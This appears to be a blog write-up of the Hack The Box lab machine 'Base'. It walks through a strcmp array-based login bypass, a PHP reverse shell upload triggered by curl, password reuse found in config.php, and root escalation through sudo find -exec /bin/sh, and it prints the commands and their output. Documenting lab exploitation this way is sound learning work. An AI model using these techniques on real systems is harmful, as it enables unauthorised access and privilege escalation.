Hack The Box Base Has Been Pwned!

This is the final machine of the Starting Point category on Hack The Box. I’ve been looking forward to doing this machine since I completed the last one. In traditional techy fashion however, I‘ve just spent most of the evening trying to work out why my Virtual Machine kept crashing. For some reason it kept producing invalid memory address registers. After an update, a reboot, and some tinkering, it now appears to be fine. That has nothing to do with this though so let’s jump right in.

Reconnaissance

Ok so first, after spawning the machine we ping it to check that it’s online.

[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output]
└──╼ [★]$ sudo ping 10.10.10.48 | tee -a ping.10.10.10.48.txt
PING 10.10.10.48 (10.10.10.48) 56(84) bytes of data.
64 bytes from 10.10.10.48: icmp_seq=1 ttl=63 time=21.6 ms
64 bytes from 10.10.10.48: icmp_seq=2 ttl=63 time=20.5 ms

The machine is talking to us! we have it right where we want it! Time to hack it with nmap.

[10.10.14.57]─[[email protected]]─[/media/sf_E_DRIVE/OneDrive/Hack The Box/Machines/Base/Output]
└──╼ [★]$ sudo nmap -sC -sV -O -p0- 10.10.10.48 | tee -a nmap.10.10.10.48.txx
Starting Nmap 7.91 ( https://nmap.org ) at 2021–09–14 17:41 BST
Nmap scan report for 10.10.10.48
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
|_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn’t have a title (text/html)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

It looks like we have a webserver running on Ubuntu. Before I look at the site, I will launch a dirb scan to check for any interesting directories that we can hack.

[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo dirb http://10.10.10.48 /usr/share/dirb/wordlists/big.txt -w
— — — — — — — -
DIRB v2.22 
By The Dark Raver
— — — — — — — — -
START_TIME: Tue Sep 14 22:51:33 2021
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
OPTION: Not Stopping on warning messages
 — — — — — — — — -
GENERATED WORDS: 20458
— — Scanning URL: http://10.10.10.48/ — — 
==> DIRECTORY: http://10.10.10.48/_uploaded/ 
==> DIRECTORY: http://10.10.10.48/login/ 
+ http://10.10.10.48/server-status (CODE:403|SIZE:276) 
==> DIRECTORY: http://10.10.10.48/static/ 
— — Entering directory: http://10.10.10.48/_uploaded/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
— — Entering directory: http://10.10.10.48/login/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
- — Entering directory: http://10.10.10.48/static/ — — 
(!) WARNING: Directory IS LISTABLE. No need to scan it. 
 (Use mode ‘-w’ if you want to scan it anyway)
==> DIRECTORY: http://10.10.10.48/static/fonts/ 
==> DIRECTORY: http://10.10.10.48/static/images/ 

Interesting, it looks like the server is configured to allow directory listings. This is significant security oversight. This allows us to browse the directories and determine the file structure which could assist with a hack. This setting can easily be changed in the server configuration but for now let’s leverage that weakness and snoop around.

Hack The Box Base directory listing /login
Base directory listing /login
Hack The Box Base directory listing /static
Base directory listing /static

There are some interesting directories and files on the server, one of which is named login.php.swp and contains the following PHP code:

<?php
session_start();
if (!empty($_POST[‘username’]) && !empty($_POST[‘password’])) {
require(‘config.php’);
if (strcmp($username , $_POST[‘username’]) == 0) {
if (strcmp($password, $_POST[‘password’]) == 0) {
$_SESSION[‘user_id’] = 1;
header(“Location: upload.php”)
} else {
print(“<script>alert(‘Wrong Username or Password’)</script>”);
}} else {
print(“<script>alert(‘Wrong Username or Password’)</script>”);
}

Foothold Hack

It appears as if the username and passwords are being put in to a short array and checked with strcmp. By intercepting and changing the request in Burp we can hack the syntax with an array of our own, and can cause the application to misbehave and hopefully bypass authentication. First, we will need to navigate to the site and submit a login request. We will then need to ensure the browser is configured to send the requests to Burp and that Burp intercept is on.

Hack The Box Base web application login
Base web application login

Second, As soon as Burp has intercepted the request we need to modify it slightly to add our own empty arrays. These arrays need to be added at the end of username and password before the input is received. You can see from the screenshot below that I have added an open and close square bracket to add the array.

The Box Base burp intercept
Burp intercept array manipulation

Finally, we forward the request, and the subsequent set-cookie request with Burp and wait for the web application to respond. The page we are redirected to is an upload page. We know from our dirb results that there is an _uploaded directory. If we assume that is where the file upload puts files then we should be able to upload a reverse shell and hack it from there.

The Box Base upload page
Base upload page

I used the pentestermonkey’s PHP Reverse Shell and uploaded it to the application. I started my netcat listener and then curled the URL to trigger the PHP reverse shell.

[10.10.14.57]─[[email protected]]─[/media/sf_OneDrive/Hack The Box/Machines/Base/Scripts]
└──╼ [★]$ sudo curl http://10.10.10.48/_uploaded/shell.php

As expected. The shell worked and I was given acces to the box. Before we do anything else, we need to upgrade our shell so let’s run that Python 1 liner.

$ python3 -c ‘import pty;pty.spawn(“/bin/bash”)’
[email protected]:/$

Now that that’s sorted, let’s check out the rest of the website files. When websites connect to databases, they require a database configuration file. Database configuration files contain passwords that could be used to gain access to sensitive information. There are other files like htaccess and htpasswd that could contain sensitive information too so it’s always a good idea to check them.

[email protected]:/$ cat /var/www/html/login/config.php
cat /var/www/html/login/config.php
<?php
$username = “admin”;
$password = “thisisagoodpassword”;

*Smug grin intensifies* The config.php file contains a password. We know this is the password that is required to login to the application, but we don’t know whether it has been reused on the system anywhere. With that in mind, let’s check the home directory and see what users are on the system.

[email protected]:/$ ls /home
john
[email protected]:/$ ls /home/john
user.txt

Privilege Escalation Hack

Sorry John but it looks like you are going to be our victim today. I’m sure you’re lovely guy but if you have reused your password then you deserved to be pwned! (joking, or am I?). Now that we have a username and password, Lets try and switch user to john.

[email protected]:/$ su john
su john
Password: thisisagoodpassword
[email protected]:/$

I believed in you john and you let me down. While we’re here lets grab the user flag from johns home directory.

[email protected]:/$ cat /home/john/user.txt
cat /home/john/user.txt
0011000100110011<haXez>0011001100110111

With that out the way, lets see how we can elevate our provides and grab the root flag. The first thing we need to know is what john can run, besides his security posture in to the ground.

[email protected]:/$ id
uid=1000(john) gid=1000(john) groups=1000(john)[email protected]:/$ sudo -l
[sudo] password for john: thisisagoodpassword
Matching Defaults entries for john on base:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on base:
(root : root) /usr/bin/find

It appears john has permission to run the find command as root. Shame he couldn’t FIND a better password. Moving forward we should check whether find has any methods of escape, like the one we performed on Guard with the man command. In order to this, I checked the website GTFOBins and it says the following command can be used to escape a restricted shell. Hopefully that means it will drop us in to a root shell.

[email protected]:/$ sudo find . -exec /bin/sh \; -quit
# whoami
root

Now all that’s left to do is grab the root flag and we’re done with starting point.

# cat /root/root.txt
0011000100110011<haXez>0011001100110111
Hack The Box Base has been Pwned!

Check out some of my other posts including ArchetypeOopsie, VaccineShieldPathfinderIncluded and Markup.